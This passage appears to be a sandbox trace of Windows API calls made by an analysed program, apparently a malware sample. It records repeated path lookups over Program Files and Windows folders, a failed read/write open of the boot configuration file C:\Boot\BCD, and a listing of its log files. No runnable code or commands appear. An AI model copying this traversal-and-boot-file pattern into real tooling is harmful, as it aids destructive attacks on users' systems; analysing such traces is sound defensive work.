GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0144.846] CloseHandle (hObject=0xb8) returned 1 [0144.846] GetFileType (hFile=0x128) returned 0x1 [0144.846] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.846] CloseHandle (hObject=0x128) returned 1 [0144.846] GetFileType (hFile=0xb8) returned 0x1 [0144.846] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Reference Assemblies") returned 0x29 [0144.847] CloseHandle (hObject=0xb8) returned 1 [0144.847] GetFileType (hFile=0x128) returned 0x1 [0144.847] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.848] CloseHandle (hObject=0x128) returned 1 [0144.848] GetFileType (hFile=0xb8) returned 0x1 [0144.848] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0144.848] CloseHandle (hObject=0xb8) returned 1 [0144.848] GetFileType (hFile=0x128) returned 0x1 [0144.848] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.861] CloseHandle (hObject=0x128) returned 1 [0144.861] GetFileType (hFile=0xb8) returned 0x1 [0144.861] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Defender") returned 0x25 [0144.861] CloseHandle (hObject=0xb8) returned 1 [0144.861] GetFileType (hFile=0x128) returned 0x1 [0144.861] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.862] CloseHandle (hObject=0x128) returned 1 [0144.862] GetFileType (hFile=0xb8) returned 0x1 [0144.862] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0144.863] CloseHandle (hObject=0xb8) returned 1 [0144.863] GetFileType (hFile=0x128) returned 0x1 [0144.863] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.863] CloseHandle (hObject=0x128) returned 1 [0144.863] GetFileType (hFile=0xb8) returned 0x1 [0144.863] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0144.864] CloseHandle (hObject=0xb8) returned 1 [0144.864] GetFileType (hFile=0x128) returned 0x1 [0144.864] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.865] CloseHandle (hObject=0x128) returned 1 [0144.865] GetFileType (hFile=0xb8) returned 0x1 [0144.865] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0144.866] CloseHandle (hObject=0xb8) returned 1 [0144.866] GetFileType (hFile=0x128) returned 0x1 [0144.866] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.866] CloseHandle (hObject=0x128) returned 1 [0144.866] GetFileType (hFile=0xb8) returned 0x1 [0144.866] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0144.867] CloseHandle (hObject=0xb8) returned 1 [0144.867] GetFileType (hFile=0x128) returned 0x1 [0144.867] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.868] CloseHandle (hObject=0x128) returned 1 [0144.868] GetFileType (hFile=0xb8) returned 0x1 [0144.868] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0144.868] CloseHandle (hObject=0xb8) returned 1 [0144.868] GetFileType (hFile=0x128) returned 0x1 [0144.868] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.869] CloseHandle (hObject=0x128) returned 1 [0144.869] GetFileType (hFile=0xb8) returned 0x1 [0144.869] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0144.870] CloseHandle (hObject=0xb8) returned 1 [0144.870] GetFileType (hFile=0x128) returned 0x1 [0144.870] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.870] CloseHandle (hObject=0x128) returned 1 [0144.870] GetFileType (hFile=0xb8) returned 0x1 [0144.870] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0144.871] CloseHandle (hObject=0xb8) returned 1 [0144.871] GetFileType (hFile=0x128) returned 0x1 [0144.871] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.872] CloseHandle (hObject=0x128) returned 1 [0144.872] GetFileType (hFile=0xb8) returned 0x1 [0144.872] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0144.872] CloseHandle (hObject=0xb8) returned 1 [0144.872] GetFileType (hFile=0x128) returned 0x1 [0144.872] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.873] CloseHandle (hObject=0x128) returned 1 [0144.873] GetFileType (hFile=0xb8) returned 0x1 [0144.873] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0144.874] CloseHandle (hObject=0xb8) returned 1 [0144.874] GetFileType (hFile=0x128) returned 0x1 [0144.874] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.874] CloseHandle (hObject=0x128) returned 1 [0144.874] GetFileType (hFile=0xb8) returned 0x1 [0144.875] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0144.875] CloseHandle (hObject=0xb8) returned 1 [0144.875] GetFileType (hFile=0x128) returned 0x1 [0144.875] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.876] CloseHandle (hObject=0x128) returned 1 [0144.876] GetFileType (hFile=0xb8) returned 0x1 [0144.876] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0144.876] CloseHandle (hObject=0xb8) returned 1 [0144.877] GetFileType (hFile=0x128) returned 0x1 [0144.877] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.877] CloseHandle (hObject=0x128) returned 1 [0144.877] GetFileType (hFile=0xb8) returned 0x1 [0144.877] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0144.878] CloseHandle (hObject=0xb8) returned 1 [0144.878] GetFileType (hFile=0x128) returned 0x1 [0144.878] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.878] CloseHandle (hObject=0x128) returned 1 [0144.879] GetFileType (hFile=0xb8) returned 0x1 [0144.879] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0144.879] CloseHandle (hObject=0xb8) returned 1 [0144.879] GetFileType (hFile=0x128) returned 0x1 [0144.879] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.880] CloseHandle (hObject=0x128) returned 1 [0144.880] GetFileType (hFile=0xb8) returned 0x1 [0144.880] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0144.880] CloseHandle (hObject=0xb8) returned 1 [0144.884] GetFileType (hFile=0x128) returned 0x1 [0144.885] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.885] CloseHandle (hObject=0x128) returned 1 [0144.885] GetFileType (hFile=0xb8) returned 0x1 [0144.886] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Google") returned 0x21 [0144.886] CloseHandle (hObject=0xb8) returned 1 [0144.886] GetFileType (hFile=0x128) returned 0x1 [0144.886] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.887] CloseHandle (hObject=0x128) returned 1 [0144.887] GetFileType (hFile=0xb8) returned 0x1 [0144.887] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0144.887] CloseHandle (hObject=0xb8) returned 1 [0144.888] GetFileType (hFile=0x128) returned 0x1 [0144.888] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.888] CloseHandle (hObject=0x128) returned 1 [0144.888] GetFileType (hFile=0xb8) returned 0x1 [0144.888] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0144.889] CloseHandle (hObject=0xb8) returned 1 [0144.889] GetFileType (hFile=0x128) returned 0x1 [0144.889] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.890] CloseHandle (hObject=0x128) returned 1 [0144.890] GetFileType (hFile=0xb8) returned 0x1 [0144.890] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Java") returned 0x1f [0144.890] CloseHandle (hObject=0xb8) returned 1 [0144.890] GetFileType (hFile=0x128) returned 0x1 [0144.890] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.891] CloseHandle (hObject=0x128) returned 1 [0144.891] GetFileType (hFile=0xb8) returned 0x1 [0144.891] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows NT") returned 0x1f [0144.892] CloseHandle (hObject=0xb8) returned 1 [0144.892] GetFileType (hFile=0x128) returned 0x1 [0144.892] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.892] CloseHandle (hObject=0x128) returned 1 [0144.893] GetFileType (hFile=0xb8) returned 0x1 [0144.893] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0144.893] CloseHandle (hObject=0xb8) returned 1 [0144.893] GetFileType (hFile=0x128) returned 0x1 [0144.893] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.894] CloseHandle (hObject=0x128) returned 1 [0144.894] GetFileType (hFile=0xb8) returned 0x1 [0144.894] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0144.894] CloseHandle (hObject=0xb8) returned 1 [0144.894] GetFileType (hFile=0x128) returned 0x1 [0144.895] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.895] CloseHandle (hObject=0x128) returned 1 [0144.895] GetFileType (hFile=0xb8) returned 0x1 [0144.895] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0144.910] CloseHandle (hObject=0xb8) returned 1 [0144.910] GetFileType (hFile=0x128) returned 0x1 [0144.910] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.911] CloseHandle (hObject=0x128) returned 1 [0144.911] GetFileType (hFile=0xb8) returned 0x1 [0144.911] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0144.911] CloseHandle (hObject=0xb8) returned 1 [0144.912] GetFileType (hFile=0x128) returned 0x1 [0144.912] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.912] CloseHandle (hObject=0x128) returned 1 [0144.912] GetFileType (hFile=0xb8) returned 0x1 [0144.912] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0144.913] CloseHandle (hObject=0xb8) returned 1 [0144.913] GetFileType (hFile=0x128) returned 0x1 [0144.913] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.914] CloseHandle (hObject=0x128) returned 1 [0144.914] GetFileType (hFile=0xb8) returned 0x1 [0144.914] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Defender") returned 0x25 [0144.914] CloseHandle (hObject=0xb8) returned 1 [0144.914] GetFileType (hFile=0x128) returned 0x1 [0144.914] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.915] CloseHandle (hObject=0x128) returned 1 [0144.915] GetFileType (hFile=0xb8) returned 0x1 [0144.915] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0144.916] CloseHandle (hObject=0xb8) returned 1 [0144.916] GetFileType (hFile=0x128) returned 0x1 [0144.916] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.916] CloseHandle (hObject=0x128) returned 1 [0144.916] GetFileType (hFile=0xb8) returned 0x1 [0144.916] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0144.917] CloseHandle (hObject=0xb8) returned 1 [0144.917] GetFileType (hFile=0x128) returned 0x1 [0144.917] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.918] CloseHandle (hObject=0x128) returned 1 [0144.918] GetFileType (hFile=0xb8) returned 0x1 [0144.918] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0144.918] CloseHandle (hObject=0xb8) returned 1 [0144.919] GetFileType (hFile=0x128) returned 0x1 [0144.919] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.919] CloseHandle (hObject=0x128) returned 1 [0144.919] GetFileType (hFile=0xb8) returned 0x1 [0144.919] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Google") returned 0x21 [0144.920] CloseHandle (hObject=0xb8) returned 1 [0144.920] GetFileType (hFile=0x128) returned 0x1 [0144.920] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.921] CloseHandle (hObject=0x128) returned 1 [0144.921] GetFileType (hFile=0xb8) returned 0x1 [0144.921] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0144.921] CloseHandle (hObject=0xb8) returned 1 [0144.921] GetFileType (hFile=0x128) returned 0x1 [0144.921] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.922] CloseHandle (hObject=0x128) returned 1 [0144.922] GetFileType (hFile=0xb8) returned 0x1 [0144.922] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0144.923] CloseHandle (hObject=0xb8) returned 1 [0144.923] GetFileType (hFile=0x128) returned 0x1 [0144.923] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.924] CloseHandle (hObject=0x128) returned 1 [0144.924] GetFileType (hFile=0xb8) returned 0x1 [0144.924] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0144.924] CloseHandle (hObject=0xb8) returned 1 [0144.924] GetFileType (hFile=0x128) returned 0x1 [0144.924] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.925] CloseHandle (hObject=0x128) returned 1 [0144.925] GetFileType (hFile=0xb8) returned 0x1 [0144.925] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0144.926] CloseHandle (hObject=0xb8) returned 1 [0144.926] GetFileType (hFile=0x128) returned 0x1 [0144.926] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.927] CloseHandle (hObject=0x128) returned 1 [0144.927] GetFileType (hFile=0xb8) returned 0x1 [0144.927] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Defender") returned 0x25 [0144.928] CloseHandle (hObject=0xb8) returned 1 [0144.928] GetFileType (hFile=0x128) returned 0x1 [0144.928] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.928] CloseHandle (hObject=0x128) returned 1 [0144.928] GetFileType (hFile=0xb8) returned 0x1 [0144.928] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0144.929] CloseHandle (hObject=0xb8) returned 1 [0144.929] GetFileType (hFile=0x128) returned 0x1 [0144.929] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0144.930] CloseHandle (hObject=0x128) returned 1 [0144.930] GetFileType (hFile=0xb8) returned 0x1 [0144.930] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.931] CloseHandle (hObject=0xb8) returned 1 [0144.931] GetFileType (hFile=0x128) returned 0x1 [0144.931] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0144.931] CloseHandle (hObject=0x128) returned 1 [0144.931] GetFileType (hFile=0xb8) returned 0x1 [0144.931] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0144.932] CloseHandle (hObject=0xb8) returned 1 [0144.932] GetFileType (hFile=0x128) returned 0x1 [0144.932] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.933] CloseHandle (hObject=0x128) returned 1 [0144.933] GetFileType (hFile=0xb8) returned 0x1 [0144.933] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0144.934] CloseHandle (hObject=0xb8) returned 1 [0144.934] GetFileType (hFile=0x128) returned 0x1 [0144.934] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0144.934] CloseHandle (hObject=0x128) returned 1 [0144.935] GetFileType (hFile=0xb8) returned 0x1 [0144.935] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0144.935] CloseHandle (hObject=0xb8) returned 1 [0144.936] GetProcessHeap () returned 0x990000 [0144.936] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x29e0020 | out: hHeap=0x990000) returned 1 [0144.937] Sleep (dwMilliseconds=0xa) [0144.944] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.944] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0144.944] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0144.944] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0144.944] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, 